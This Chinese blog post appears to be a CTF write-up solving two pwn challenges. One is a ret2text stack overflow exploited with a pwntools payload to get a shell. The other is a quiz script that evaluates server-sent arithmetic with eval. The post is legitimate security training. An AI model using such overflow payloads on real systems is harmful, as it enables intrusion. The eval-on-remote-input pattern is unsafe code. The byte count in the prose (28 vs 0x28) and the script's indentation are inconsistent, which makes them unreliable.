NewStartCTF week1 pwn

ret2text

很简单的一道栈溢出题目
image
首先通过checksec查看题目开启了什么保护,只开启了NX,是64位的amd文件拖到ida中查看
image
首先shift+f12查看字串发现,/bin/sh
image
双击跟进发现调用函数的地址:0X400708
image
点击main函数查看反编译代码,发现scanf("%s", v4),栈溢出漏洞
image
双击v4查看内存,需溢出28字节image
payload即为:'a'*0x28 + p64(0x400708) 接下来构造exp:

from pwn import *

p = remote('node4.buuoj.cn', 27021)


bin_sh = 0x400708

payload = b'a'*0x28 + p64(bin_sh)


p.sendline(payload)
p.interactive()

拿到flag:image

calc

image
checksec查看什么都开启了,是64位amd文件打开ida看看情况
还是老规矩首先按shift+f12查看字串image发现/bin/sh同样跟进发现函数:
image
调用sub_BE9()这个函数时获得shell权限,查看main函数
image
发现漏洞利用函数sub_CE1();
image

image
通过读取反汇编代码,确定了这是一个计算的程序
image
发现要在三十秒内成功算对一百到题目才可以获得shell
利用python的eval函数可以帮我们计算
接下来构造exp:

from pwn import *

p = remote('node4.buuoj.cn',25037)

for i in range(100):
	p.recvuntil('answer?')
	n = p.recvline().decode()

    	print(n)

	question = n.strip().split('=')[0]

	if 'x' in question:
	       	question = question.replace('x','*')

    	answer = str(eval(question))

    	p.sendline(answer)


p.interactive()

image
最后拿到flag:image

第二题exp转载自:Anyyy's Blog师傅!
http://www.anyiblog.top/2022/09/25/20220925/

posted @ 2022-09-26 17:26  长不高的李肥肥  阅读(92)  评论(0)    收藏  举报